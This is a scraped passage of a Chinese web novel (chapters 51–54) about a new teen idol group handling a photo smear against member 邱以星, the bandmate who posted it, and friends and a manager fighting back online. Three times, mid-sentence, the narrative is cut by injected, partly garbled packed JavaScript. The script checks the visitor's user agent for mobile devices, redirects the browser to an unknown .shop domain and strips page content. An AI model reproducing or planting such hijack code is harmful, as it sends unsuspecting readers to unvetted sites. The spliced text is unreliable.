邱以星看着脚尖,知道他在问什么,含混不清地说:“也不是……看情况吧。” 孔栩撇了下嘴,暗自嘀咕:那你可喜欢不过来了,班里长头发的女生有十来个,你看得过来么。 邱以星没听见,紧接着兜里的手机剧烈地震动起来——来电人是项汝怡。 51. 第 51 章 项汝怡劈头盖脸地问:“你们是不是把群给屏蔽了,我发消息半天没人回复,一个个的都干什么呢?” 邱以星有些心虚:“项姐,怎么了?” “母带我发给徐如夜了,他说没问题,你们再听一听。”项汝怡丝毫不拖泥带水地说,“陈颂那个臭小子请了三天假要去跟陆笑蓉她们爬山,本来想给你们多一点时间准备,现在看不用了。三天后,你们新专辑全平台发行,当天上午九点前来公司先做个妆造,然后做个直播宣传。也就是说你们寒假就剩三天了,好好玩儿吧,后面就没时间了。” 孔栩也听到项汝怡这番话,对着话筒说:“知道了项姐,三天后见。” 项汝怡并不意外听见孔栩的声音,说完要紧事干脆利落地说:“挂了。” 孔栩听了没什么特别大的反应,跟大家在一起总比自己一个人在家呆着要强。 一看时间才八点多钟,比平时从琴房出来还早,孔栩一脚蹬上路边的马路牙子,然后一只手搭住邱以星的肩膀,维持平衡。 孔栩百无聊赖地换脚站立,距离车站还有一百来米,可孔栩就是不想过去,他沉默地玩“跳上来跳下去”游戏,邱以星没有制止,更没有说话。 晚上的气温更低,到了零下,孔栩的脸和手冻得发青,邱以星很想把他手揣进自己兜里帮他暖一暖,可又担心孔栩会抗拒,于是他摘下自己的围巾,很有分寸地虚虚地绕着孔栩的脖颈缠了两圈,这样至少能抵挡一丝寒意。 孔栩怔了怔,长长的睫毛抖了一下,声音发涩,像是没调过的琴弦:“那你会冷的。” “我还行,我的手是热的。”邱以星朝他笑了一下。 邱以星面无表情不笑的时候总显得在笑,他真正笑的时候,眼睛会率先弯一个弧度,盛满亮晶晶的碎光,倘若此时直视他的双眼,会令人脸红心跳。 孔栩轻声问:“真的么。” 邱以星说:“当然是真的。” 孔栩看着他垂在腿边的手,皱眉想了想,主动伸手握住了。 没邱以星说的那么热,少年人的手掌是单薄的,不厚实,摸上去能够感受到他坚硬的骨头、手背上柔韧的肌腱,带着微微的热意,熨帖着孔栩此刻无处安放的煎熬。 没等邱以星有所反应,孔栩扑到邱以星怀里,下巴戳在邱以星肩膀,闷声闷气地说:“对不起。” “没关系。” “你知道我说的是什么吗?” “我知道。”邱以星用另外一只手揉揉他的头发,温柔地说,“但都没关系,真的。” 孔栩紧紧地攥着邱以星的手指,攥到自己都感到几分疼了,他还是没有松开手。 他觉得很恶心是真的,那个人在他耳边很下流地问他:你有没有交过男朋友?你是上面的,还是下面的那个?有没有人跟你说你长得很漂亮,光是看你弹吉他的样子我就硬得不行,如果你是下面那个操起来一定很带感—— 孔栩自小生长在真空无菌的环境中,从未踏出过象牙塔一步,这等污言秽语令他如遭雷劈。 以至于他连带着对邱以星的触碰产生了一丝抵触,可长久观察下来,邱以星又是不一样的。 哪里不一样? 比方说此时此刻的孔栩很想就这样抱着邱以星,任凭时间流逝,也不愿动弹一下。 孔栩吸了口气,而且邱以星他亲口承认自己喜欢女生,还是闻旋那种类型的长头女生。 于是他说:“邱以星。” “嗯?” “如果你哪天交了女朋友,手就别给我牵了。” “……好。” 孔栩随即松开他的手,觉得冷,又再度紧紧扣住:“走吧,车来了。” 邱以星张了张口,话还没有成型,一团白汽化在了寒冷的空气里。 * 三天后,上午九点,许久没有动静的徐如夜突然间转发了一条MV,顿时热度飙升至第一。 众人以为徐如夜发新歌了,再一看,不对,原来是转的别人的新歌——嘿,真有意思,评论区开始群魔乱舞。 有人急吼吼地质问徐如夜什么时候开演唱会,什么时候发新歌,再这样养老下去不怕粉丝都走光了吗?还有好事者问徐如夜究竟这个叫做“双陈娱乐”的小公司给了他多少钱,让他帮忙宣传的,也不怕晚节不保。 更有甚者创建了一个#徐如夜老来扶贫#的词条,词条一路狂窜,力压#徐如夜生了#,夺得热搜榜榜首。 把徐如夜气得差点捏碎茶杯把。 很快就有人发现,那个叫做“LUMINFIVE光5”的微博账号里发的新歌,竟然是徐如夜写的,徐如夜甚至还担当了此张专辑的制作人,难怪徐如夜这么积极地转发。 众人蜂拥而至新账号里看MV,想听徐如夜写的新歌,一看MV却率先被里面的人吸引住了目光。 是五张青春洋溢的年轻脸庞,男孩女孩都有,十六七岁如花一般的年纪,没有多特别夸张的妆容与造型,一边唱歌一边跳着简单轻松的舞步,简直如一阵暖融融的春风,吹进了众人的心里。 整个上午,网上热闹得不行,项汝怡一直在实时监测网络平台上的各种动态,看见不对劲的就让手底下的八百营销号扭转一下舆论风向。 关注和播放量持续激增,直到中午十二点新专辑里的四首歌在各大音乐平台播出,有徐如夜的加持,将这组合的热度推至了最高点,这还不算,项汝怡直接让工作人员开了个整点直播的预约。 预约人数也蹭蹭上涨,项汝怡见时间差不多了,让这五个人做好准备,开始直播。 他们手机都被没收,不知道网上情况如何,看项汝怡面色淡定,他们几人便把这当做是寻常工作,哪成想一进直播间,发现有好几万人正等着,一时间不约而同地看向项汝怡。 陈颂瞳孔地震,这么多人,该不会是公司买的水军吧?! 项汝怡在一边帮他们cue流程,五个人先做了个简短的自我介绍。 陆笑蓉直播起家,对此环节十分熟悉,她之前是小有人气的不露脸的歌唱主播,很快就被人认出声音,陆笑蓉托着脸大方承认:“没错,我现在成功上岸有编制了,这是我貌美如花和英俊潇洒的同事们……” 弹幕上跳出来各种稀奇古怪的问题,大部分比较正常,要么是一通夸,说他们的歌很好听,让他们继续加油,还有人不嫌事大让徐如夜来连线,问他们徐如夜是不是事儿特别多,陈颂坐在最中间,眼睛一亮,张口就说:“你太懂了,徐老师吹毛求疵不是业内公认的么——” 随即瞥见项汝怡阴沉沉警告的目光,话锋一转说:“他那是敬业和专业,徐老师帮了我们很多,我们都非常尊敬爱戴他。” 孔栩在最右侧,他默默地看着弹幕,人太多了,弹幕刷的速度很快,他一个问题没看清下一个又来了,于是便一声不吭,显得不近人情特别高冷。 陆笑蓉看见弹幕里有人点他,笑着说:“我们小木鱼有点怕生,平时不是这样的。他可会弹琴了,以后有机会让他给你们弹琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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视频的名字叫做:见证光的诞生。 几人在休息室里玩手机,看今天新歌的反馈,紧随其后刷到了这条视频。 剪辑师是项汝怡从某影视公司挖过来的,他们几个人被徐如夜训得生不如死那会儿,剪辑师每天获得的是第一手的素材。 她很有头脑,且擅长走温情路线,把一个多月的素材分门别类,剪了个有笑有泪又斗志昂扬的励志视频,视频的五个人因为完全不知道日常会被拍下来剪辑成宣传片,表现得比直播自然得多。 这五个人的性格完全不同,却又恰到好处地合拍。 BGM是他们专辑中一首歌的纯音乐版本,还是孔栩弹的,孔栩弹的时候大家都围在旁边听他弹,鼓掌和喝彩也都录了进去,听起来温馨又美好。 网上对新组合的总体评价大多偏正面、温和,当然也有许多不友善的评论,说他们也就是借借徐如夜的光啦,录音室版本大修特修而已啦,什么会十八般乐器都是后期配音的啦,小作坊生产出来的“三无产品”,等小作坊倒闭了说不定还得把自己赔进去。 总而言之,大把票子和时间砸进去的不仅仅让他们听了个响,余波一直持续到第二天,话题讨论度一直排在前列。粉丝们连名字都起好了,叫做“露米”,甚至还建立了超话,项汝怡派了自己人去接洽管理。 似乎一切都朝着好的方向发展,可项汝怡总有种不祥的预感,一只鞋子落地,剩下的一只却迟迟没有动静。 于是她安静等待着,等到第二天下午光5官博宣布参加一档音乐人的访谈录制后,那只鞋子终于“嘭”的一声落地。 助理朱伦大惊失色地跑过来:“项姐,那个人发了好多邱以星的私密照片,有些很不雅观,说邱以星乱搞男女关系,私生活极其混乱,一下冲上热搜了!我已经在撤热搜和删帖了,去跟那人交涉,让他开个价,他说不要钱,就想让邱以星身败名裂——这可怎么办?” 52. 第 52 章 “别着急……你是说,他不要钱?”项汝怡觉得这事情越发有意思起来,不要钱也就是并不为利,只是单纯地报复行为。 她又看了眼那几张照片,背景昏暗,照片里的人的确是邱以星没错,每张照片身边都是不同的女孩子,紧紧地挨着他,仿佛每个都与他关系非同一般。 项汝怡后悔地想,当时怎么就没做背调,她哪能料到,邱以星小小年纪能玩得这么花呀。 项汝怡没有在助理面前多说什么,反而平静吩咐说:“这有什么,都是小事,真的假的还不知道,再说了,哪个明星没黑料?连徐如夜那种从头到脚每根毛上都写着‘安分守己’的人都有呢,有人黑咱们说明咱们要火了,你继续跟对方联系,做你该做的事,顺便去叫邱以星过来一趟。” 邱以星不明所以地敲了敲她办公室大门,项汝怡把平板推到他面前,对着上面的照片问他:“什么时候拍的?谁拍的,有什么线索没有?” 邱以星低头看了一眼,脑瓜顿时嗡的一声。 图片里的他简直是个众星拱月的渣男,有几个女孩还无比亲密地捧着他的脸亲了一口,能清晰地看见鲜红的唇印,邱以星整个人头皮发麻——他完全没有与之相关的印象。 他只能猜测这照片里的人要么是邱以睿,要么是他睡着那段时间的那个“邱以星”。 “想出来了没有?”项汝怡中指叩了叩桌子,语气变得严厉,“你们应该认识,想想你现实生活里跟谁发生过矛盾,人家有骨气着呢,不要钱,就要搞你,你仔细想想。” 邱以星不能向项汝怡和盘托出一个已经不在世上的人,他也不愿提,不然总有那么几分“栽赃嫁祸”的嫌疑,也不能告诉项汝怡他沉睡时有另一个人苏醒,那会把项汝怡吓个半死,说不定还会把他押送进精神病院,他这辈子都不想再进去第二次。 不管照片上的人是谁,都跟他脱不了干系,邱以星便默认了:“可能是我之前玩乐队的队友。” “乐队?”项汝怡的目光垂在桌上,手朝他一抬,“好,我知道了,这件事我会给你摆平,但邱以星,我希望这是最后一次,不管你之前是什么样,可现在你是我手下的艺人,请你管好自己的言行举止,与粉丝,尤其是女孩子保持距离,听见没有?” “听见了。”邱以星臊眉耷眼地回答。 “等下,”项汝怡叫住他,“照片是只有这些了么?还有更大尺度的吗?” 邱以星不敢保证:“我……我不记得了。” 项汝怡闻言,重重闭上眼睛,掐住眉心,眼不见心不烦地挥手,挥走一件垃圾似的:“出去。” 单看邱以星这长相就挺迷惑人的,他不是陈颂那种邻家大哥哥的类型,阳光灿烂不染尘埃,也不是孔栩那种眉目冷淡的款式,总有种拒人千里之外的疏离感。 他高大而俊美,不笑时总给人笑着的错觉,无形中带有莫大的吸引力,除了外形优势,他还有着出众的才华,无疑也是一种赋魅。 以至于他传出这样的“绯闻”,并不令人感到意外。 “照片风波”很快就传到其他人耳中,陆笑蓉和夏桃杉正坐一块看剧,见他来了,纷纷用一种复杂的神色看他。 陆笑蓉小心翼翼地问:“那什么,照片是P的么?” 陆笑蓉见他不说话,接着说:“是不是你玩乐队的时候被人做局了,看你也不像那么会把妹的呀。” 夏桃杉一字未提,淡淡看了他一眼,又挪回了视线。 陈颂过来拍拍邱以星的肩膀,低声说:“走,我们出去说。” 邱以星动身时扭头看了一圈休息室,孔栩不在里面。 陈颂在某种程度上是他们的主心骨,有什么决定也是他们商量好,再由陈颂去与项汝怡交涉,陈颂对外和对内是两种态度,也格外爱憎分明,是他们所有人都信赖的“大哥”。 他们来到走廊尽头,陈颂走在前面,找了个没人的角落,停下脚步,回头看向邱以星,目光幽幽地对他说:“这件事你打算怎么办?网上吵成一锅粥,什么‘刚出道就塌房’的,什么‘一日明星体验卡’的……这些都还都是轻的。” “对不起,”邱以星嘴唇动了动,“我……” 陈颂看了邱以星许久,看到最后觉得他有些可怜了,于是拍拍他肩膀,语重心长地说:“邱以星,我一直觉得自己看人挺准的,别让我看走眼啊。” 邱以星听出陈颂的言外之意,一言不发地目送陈颂离去,随即他深深地吸了口气,原地蹲下,在通讯录里翻了一通,找到彭天的电话,拨了过去。 没过两秒彭天便接了起来,他不知在做什么,背景声听起来有些嘈杂,彭天的呼吸也显得有几分急促,不耐烦地:“我忙着呢,你有什么国家大事找我?” 邱以星放低声音:“彭天,我们谈谈吧。” 彭天听他这话,气不打一处来,冷哼一声:“我跟你没什么好谈的。前脚退出乐队,后脚就签约出道了,你其实早就想好了是吧,难怪那么急着摆脱我们,无缝衔接得真利索啊。” “这件事是我有错在先,”邱以星不找借口,冷静地说,“可除了这件事之外,我扪心自问并没有伤害到你什么,你何必在网上发言诋毁我,我不是什么好人,可也没有你说的那么不堪——” “你说什么玩意呢我怎么听不懂。”彭天没好气地打断他,“我诋毁你?我可没那个闲工夫,犯不着!” “真不是你?”邱以星内心游移不定,如果不是彭天,还会有谁?除了他,还有谁会这么恨他? “操!”彭天高声骂道,“邱以星,我他妈在你眼里就这么混账?” 彭天不跟邱以星继续废话,直接啪的一声挂了电话,他越想越气不过,点进新闻搜索框,搜“邱以星”三个字,结果蹦出来一连串新鲜出炉的所谓“黑料”和那些看上去分外暧昧不明的照片。 看了几秒钟,彭天的眉头拧成疙瘩,这照片不是…… 他的脸变绿了,立即把手上的玩偶头套扔在一边,给全小潭打去电话,他扬声张口骂道:“你他妈的全小潭,你往网上乱发什么东西?你明明知道他不是照片里的那样!” 路过游乐场的一个小女孩怯怯地拽拽大人的衣角,不安地说:“妈妈……这只熊怎么骂人呀?” 彭天扭头与小女孩对视一眼,眼中凶光毕露,大人忙抱起孩子跑了,留下一句:“好可怕,这是一只会吃人的大棕熊。” 全小潭在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108667|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话那头罕见地沉默了,半晌他哂笑一声,声音轻得几乎听不出来:“彭天,你傻呀,都什么时候了,怎么还帮着他说话。” “我没有帮他,我只是实话实说。” “可我也没有说错呀,”全小潭静了片刻,说道,“他不是那样的人么,朝三暮四,有了新的就忘了旧的。你以为乐队走了邱以星一个还能继续玩下去吗?他写歌作曲,把我们召集在一起,又把我们像垃圾一样踢开,你说他凭什么。” “可你为什么要用这样的方式……” “我嫉妒他,”全小潭尖锐地吼道,“我他妈的嫉妒他嫉妒得要死,行不行?” 为什么所有的好事都是邱以星的? 他考上省重点,长得帅有才华,如今又出道,风光无两,身边那些朋友看上去光鲜亮丽,还有徐如夜为他们量身制作音乐,而他却像阴沟里的老鼠一样过着毫无指望的日子。 彭天咬牙切齿:“全小潭,你简直无药可救,你就嫉妒去吧,全世界那么多人比你过得好,你再嫉妒几百万年也嫉妒不过来。” 全小潭打了个酒嗝,他手边是一堆酒瓶,动一下玻璃瓶碰撞出清脆的响声:“彭天,其实你明白的,你明白的……对不对?” “我明白你个大头鬼,”彭天呵斥道,“赶紧把帖子删了,做个澄清,别让我看不起你。” “我不要,”全小潭说,“至少现在我不要,我也想让他尝一尝这么痛苦的滋味。” “你他妈神经病吧?”彭天还想再说,对面已经挂了电话。 他捡起地上的玩偶头套,重新戴在头上,站在路口发呆。 路人经过,觉得这只熊怎么比平时还要呆头呆脑的,彭天在这兼职已经有一段时间了,累了回家倒头就睡,睡着了就一点烦恼都没有了,不仅能赚钱,还能少一点胡思乱想,一举两得。 可此刻他感受到一丝茫然。 他认识全小潭比邱以星还要早,却从未了解过全小潭心里是怎么想的。 他不恨邱以星吗?当然恨了。 可他看见邱以星出现在MV里,邱以星写了新歌,他忽然间就没有那么恨了。 这才是他应该走的路,他此前甚至觉得邱以星跟他们在一起是一种浪费,现在他终于回到属于他的轨道上。 他不恨了,他只是有一点舍不得。 另一边项汝怡的公关团队开始行动,保存了一系列证据,发布律师函又报了案,终于在当晚找到了发帖的人。 为了防止他们在网上看见什么胡思乱想,项汝怡收了他们手机,把第二天的采访稿打印好发给他们,让他们背熟。 晚上吃完饭,几人无聊沿着公司外面的环形步道散了会步,又因为太冷,不到十分钟又跑回休息室,打开投影,找了部搞笑电影看。 孔栩全程挨着邱以星,他对邱以星被爆出来的新闻似乎并不在意,看电影时很专注,光影打在他的眉眼上,看见搞笑片段跟着一起哈哈大笑,邱以星本来没心情笑的,看他这么开心也跟着附和了几句“哈哈”。 中途孔栩因为口渴去接了两次水,还给大家切了一盘橙子,孔栩乐不可支地歪在邱以星怀里,邱以星扶住他的肩膀,跟他保持了一点距离。 53. 第 53 章 电影看到了十点多钟,项汝怡催促他们睡觉,众人便哈欠连天地回了自己宿舍。 宿舍三间屋子,每间屋子都有独立卫浴,孔栩和邱以星洗完澡,吹干头发,随后躺倒在各自的床上睡觉。 邱以星因为白天发生的事,在床上翻来覆去睡不着,听着孔栩平稳的呼吸声,他便不再翻动,怕影响孔栩休息。 就在朦朦胧胧即将进入梦乡之际,他突然听见孔栩那边传来一阵“哒哒哒”触碰屏幕的声音,邱以星悄然睁开双眼,室内光线昏暗,却有一缕光线从孔栩被窝里逸出来。 借着这缕光,邱以星看见孔栩的被子高高地隆起,好似蹲伏着一个人。 他不动声色观察了片刻,确认这不是自己困迷糊了做的梦,孔栩确实没在睡觉。 邱以星动作极轻极慢地从床上起身,光着脚站在孔栩的床头,随后猛地掀开孔栩的被子——孔栩正盘腿弓着腰,两手捧着手机,聚精会神噼里啪啦飞速地打着字。 孔栩咬唇皱眉,正干得起劲,突然间手里一空,手机被人抽走了。 他迷茫地抬眼一看,手机屏幕微弱的光映亮邱以星的侧脸,只见邱以星歪了歪头,嘴角朝上略微一勾:“小木鱼,你偷偷摸摸在干什么坏事呢?” “啊?”孔栩眨了眨眼,心脏扑通扑通加速,装傻,“我什么也没干啊。” “那这是什么?”邱以星低头看手机屏,孔栩登时急了,去抢手机,邱以星手伸得老高,孔栩没够着,试图站在床上去夺,结果邱以星直接将他两手一并扣在一起,往自己怀里一勒。 孔栩压根不是邱以星的对手,他本来就疏于锻炼,邱以星的胳膊像是一段精钢,箍得他动弹不得,他低低地求饶说:“邱以星,你还给我吧,求求你啦。” 邱以星被他的哀求喊得心软,他装作没听见的样子,想看他到底在搞什么名堂。 手机屏幕的页面是他刚注册的微博小号,邱以星点进账号上下一翻,不翻不知道,一翻吓一跳,孔栩从注册那会儿到现在已经发了两百来条内容,每一条都是帮邱以星澄清他不是网友们猜测的那样衣冠禽兽,他只是长得花心,但其实是个很好的人。 有人注意到他这个小号,问他是不是邱以星在自吹自擂,他又一本正经地说“邱以星他才没有我这么无聊”。 “你,”邱以星看他对这每一条中伤与诽谤认真地驳斥,有些想笑,他扯了扯嘴角,没能笑出来,反倒气息有些不稳,眼皮微微地发烫,“……你为什么要做这些?” 孔栩见事情暴露,把同伙也供出来:“也不是只有我。” “还有谁?” 孔栩打开微信,里面有个刚建立不久的三人小群,成员分别是他、闻旋和罗鸣玉。 罗鸣玉在里面发了好几条语音消息,邱以星点开其中一条语音,罗鸣玉豪爽的大嗓门响彻在宿舍,孔栩忙把声音调低,听见罗鸣玉说:“我们都知道他不是那样的人,放心吧,班里所有人都力挺他呢。网上那些人又没在现实生活里接触过他,当然听风就是雨,而且你知道吗,其中有张照片是我和闻旋亲眼看着拍下来的,邱以星被那个女生生拉硬拽过去亲了一口,你不在没看见他什么表情,哈哈哈哈哈真的太搞笑了,有生之年亲眼见证谣言是怎么诞生的……” 语音跳转到下一条,罗鸣玉接着说:“我看见那个女生在网上给邱以星澄清了,有人不相信,但也有不少人站出来替他说话的。你不要太担心了,我和闻旋搞了个后援会,把恶评都刷下去了,要不我八百个马甲号分你几个?” 最后是孔栩的回复:“那你分我几个吧,我不跟你们说了,我经纪人盯得紧着呢。” 邱以星没再去看孔栩到底有几个小号,他的呼吸绵长而深沉,屋子里安静得落针可闻。 交上去的是何斯清淘汰下来的旧手机,何斯清不用了他就要过来当录音器录钢琴音,后来有了新的,旧的却一直没丢,这次来公司,放行李时才发现旧手机被他一并塞到背包带了过来。 他想也没想就把没电的手机交了上去。 孔栩不是故意骗项汝怡,他只是有更重要的事做。 “我们都相信你不是这样的人。”孔栩有些讨好似的凑过来,近距离打量邱以星的表情,邱以星一直不说话让他有些发怵,“我们这样,你生气了吗?” “没有。”邱以星把他手机关了机,放在一边,“我没有生气。” “那就好,”孔栩松了口气,顺便抚了下胸口,“一开始我什么都不懂,还是班长教我怎么‘反黑’的,她说自己追星经验特别丰富,我从她那里学到好多,这真是一门相当高深的学问啊。” 邱以星说:“别学了,这不是你该学的东西。” “然后我发现,其实大多数人并不在乎真相是什么,”孔栩说,“越混乱他们会越激动越高兴,这对他们来说是茶余饭后用来消遣的,看热闹不嫌事大,根本不在意你说了什么,世上的乐子有那么多,他们过来掺和一脚又会去寻找其他的乐子。” 邱以星望着他:“所以你明知道会这样,为什么还跟他们说那么多废话。” “可我就是生气,”孔栩想也不想,脱口而出,“我看不得你受委屈。” 他委屈吗? 邱以星没想过这个问题,他偶尔觉得自己遭遇这些只是运气不佳。 原来也会有人替他感到委屈么? “小木鱼,谢谢你,”邱以星轻轻按了按孔栩的头,淡淡笑了,“我很高兴你为我做这些,不过你还是别忙活了,再不睡明天被项姐看出来黑眼圈,就有的念叨了。” 孔栩犹豫问道:“你真的没事吗?” 邱以星顿了一下:“我说有事的话,你要怎么安慰我?” 孔栩咂嘴:“哎,我发现你这人很爱蹬鼻子上脸。” 邱以星恬不知耻地“嗯”了一声,大有“你能把我怎么办”的架势。 孔栩便毫无保留地朝他张开双臂,哄他说:“那来哥哥怀里,哥哥唱摇篮曲哄你睡觉。” 邱以星情不自禁地哼笑,捏他的脸:“你还要不要脸了,到底谁是哥?” “你说呢,你那么幼稚,这不是一目了然的事么。”孔栩的脸颊被他捏得鼓起来,“要不要听,不听我就真睡觉了。” “听,”邱以星说,“我真躺你怀里啊。” “你那么重不得压死我?”孔栩吩咐说,“把你枕头拿过来。” 邱以星嘀咕说:“我有那么重吗?” 孔栩重新躺下,盖上被子,邱以星也躺好,孔栩趴在邱以星耳边轻轻给他哼舒伯特的摇篮曲,他哼着哼着把自己给哼困了,声音微不可闻:“不唱了……我好困。” 邱以星温热的手掌盖住他的眼睛,轻声说:“睡吧,小木鱼,明天见。” 说他对这些糟心事没一点感觉是不可能的,他只能尽量不去想。 邱以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112178|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星将柔软的被子往孔栩下巴掖了掖,凝望他许久。 他不敢靠孔栩太近,只虚虚地贴近他的脸颊,感受孔栩平稳的呼吸,他承认,他此刻拥有莫大的幸福。 第二天项汝怡送他们去录制访谈,由于采访稿他们背得滚瓜烂熟,过程非常顺利。 几人精神奕奕,头一回接受采访,什么都感到新鲜,结束后几人在访谈间拿盘子里五颜六色的小糖吃,被项汝怡制止,工作人员笑着说:“没关系,就是给他们吃的。” 主持人和项汝怡认识,两人坐一块聊了会天。 几人吃完五颜六色的小糖,舌头上也染了颜色,孔栩吐着橙色的舌头,一脸好奇地问邱以星:“你是什么颜色的?” 邱以星伸出舌头,是蓝色的。 陆笑蓉狂拍大腿:“你的也太蓝了,好像蘑菇中毒。快看看我,我是什么颜色的?桃子你是绿色的,陈颂你别照镜子了,你是黑的,好像吃了煤炭哈哈哈哈……” 然后几人像几条小狗一样吐着舌头,越看越好玩,陈颂借项汝怡手机拍了一张合影。 项汝怡看见照片两眼一黑:“同志们,注意点儿形象好吗?” 朱伦却说:“我觉得挺率真可爱,圈里有才华的俊男美女那么多,像他们这种另类耍宝的蛮少见的。” 项汝怡一听,觉得他说的有道理,堵不如疏,又没做什么伤天害理的事,学生嘛,中二一点也正常。 这张图片她没有删除,让朱伦开车,她似乎很忙,一路都在打电话,不时地点点头,末了似乎解决了一件重大事项,她长舒一口气,对电话那头的人说:“行,那就下午六点,交给你们了。” 项汝怡挂了电话,心情好多了,她透过后视镜看了眼正在问夏桃杉晚上吃什么的陆笑蓉,忽然笑了一下:“嫌弃吃外卖吃腻了?这样,我们去超市买食材,晚上吃火锅怎么样?” “谁买单?”大家都很关心这个话题。 “我,”项汝怡说,“你们爱吃什么买什么。” “好耶,项汝怡万岁!”陆笑蓉欢呼。 “没大没小的,”项汝怡补充,“可以吃,不准吃太辣,对嗓子不好,给你们接了卫视晚会的录制,到时候好多双眼睛盯着你们,千万不能出错。” 几人都连连点头,生怕项汝怡收回成命。 朱伦把车停好,陪他们几人去逛,项汝怡留在车里继续处理工作。 几人在生鲜区走不动道,除了火锅食材,又奔向零食区。 超市里人潮翻涌,可没人注意到他们,亏得陈颂一下车就把口罩戴上了,结果逛半天,看他们的有零个人。 陈颂又把口罩给摘了,有些尴尬地扇风:“还挺闷的。” 他挠挠鼻尖,看夏桃杉在两袋薯片面前犹豫不决,走去问:“怎么了?” 夏桃杉寻思:“你觉得香菜味和芥末味的哪个更难吃?” “呃……”陈颂说不上来,“你问这个干嘛,要喂陆笑蓉啊,她口味比较猎奇。” 陆笑蓉听见,狠捶陈颂一通:“什么味的薯片我都爱吃。” 另一边的孔栩闷声往购物车里哐哐放吃的喝的,邱以星推着购物车紧跟孔栩步伐,朱伦低头一直在边上刷手机,过了片刻,他抬头若有所思地看了他们一眼。 孔栩敏锐地注意到,问:“我是不是拿太多了?” 朱伦摇头,对邱以星认真道:“不是,你又上热搜了。” 54. 第 54 章 上什么热搜,朱伦没说。 陆笑蓉着急地追问:“好的还是坏的?是不是那个爆邱以星料的人又发什么了?” 朱伦语焉不详,没有具体说太多:“不是,有反转。” “大哥,你说话别大喘气啊,”陈颂吐出一口气,“怎么反转的?造谣转发超五百我们可以告他。” 孔栩这时也看向邱以星,邱以星问:“是谁做的?” 朱伦:“这个叫‘全小潭’的……你认识吧。” 项汝怡入行时才十几岁,如今已经三十好几,见过的大风大浪比这些崽子们吃过的盐都多,这几张照片对她来说连块小点心都算不上。 她只是生气,她费了那么多心血推出来的组合,竟然还没火就被人泼了这么一身脏水,你要说红了,挡某些人路了,她倒是能理解,关键是他们还是一帮名不见经传的小喽啰,来搞这么一出,也太伤人士气了。 虽说网友们的遗忘速度快,可是不良印象一旦种下,后期需要花更多精力去改变。 网络上的言论她也看了不少,有好几个照片里的女孩给邱以星说话,说明邱以星在这事上很有可能是被冤枉的。 项汝怡找到对方,要求对方澄清并删除造谣贴,结果对方并不理睬她,这令项汝怡倍感恼火。 文的不行,就只能来武的了。 项汝怡买通营销号,道出了发帖人的真实身份。 气象台是个小乐队,但小归小,在圈里也是有一点知名度的,邱以星离开离开气象台转而投入双陈娱乐的怀抱出道,已经被气象台的粉丝们骂过一轮,这时又爆出发照片的是气象台主唱全小潭,这就显得非常有意思了。 到底是邱以星真的是个私生活混乱的人渣呢,还是全小潭与他有个人恩怨,故意污蔑他呢? 全小潭什么口碑人尽皆知,网速快的把全小潭上至十八辈祖宗下至小区楼下的流浪猫有无绝育都扒了个底朝天。 他被人锤得体无完肤,除了爱逃课打架,他动辄遇到漂亮女孩就上去撩骚,语言之污秽不堪入耳,喝醉在路边狂吐的不文明行为也成为他诸多“罪证”之一。 舆论持续性发酵,项汝怡看见网上评论又一边倒地支持邱以星了,对此她并不意外。 她用公司账号表明坚决否认针对旗下艺人邱以星的不实指控,相关言论纯属恶意捏造,已委托律师完成证据固定,并依法向法院提起诉讼,追究造谣者法律责任。 又用光5的官博转发这条微博,配图是他们五个吐彩色舌头的照片。 由于太过抽象搞笑,从邱以星再到整个组合,热度又轻易地被带了起来。 项汝怡决定趁热打铁,晚上吃火锅时弄个直播,上次直播的效果就非常好,陆笑蓉很能整活,话又密集,一人能顶五个人,其他人虽没陆笑蓉有经验,可往那一坐光是接陆笑蓉的话都能接半天。 说干就干,项汝怡发布了直播预告,打算让他们一边吃饭一边聊点什么。 都到了饭点,不少人守在屏幕前一边吃饭一边等候直播。 孔栩进门时脱了暖和的白色羽绒服,里面只穿了一件灰白色的印着一颗巨大猫头的卫衣。 邱以星眼尖,一把拉住孔栩的卫衣帽:“等等,这衣服看上去挺眼熟啊。” 孔栩挣扎,低声囔囔:“我没带多少衣服来,借你的穿穿不行吗?” “行,你穿,”邱以星拿孔栩没办法,把他卫衣有褶皱的地方抚平,“你提前跟我说一声,我给你找几件厚的,这件太薄了。” “没事,我不冷。”孔栩说罢低头换鞋,大包小包的东西让邱以星拎到厨房。 厨房空间不大,五个人在里面显得拥挤不堪,最后陆笑蓉把他们四个十指不沾阳春水的都踢了出来,太碍事了。 陆笑蓉干活麻利,手持刀具双管齐下,孔栩看她一个人忙,实在过意不去,从项汝怡那拿过直播设备,对着她的身影录,见她三下五除二把五花肉切成几毫米的薄片,惊掉他下巴:“蓉蓉,你这手艺从哪儿学来的。” “熟能生巧,”陆笑蓉言简意赅地说,“自己动手,丰衣足食啊小木鱼。” 没聊几分钟,陆笑蓉一人把蔬菜都洗净切好,整整齐齐码在瓷碟里,各种肉类让孔栩先端出去,最后她调个蘸料,终于大功告成,可以开吃。 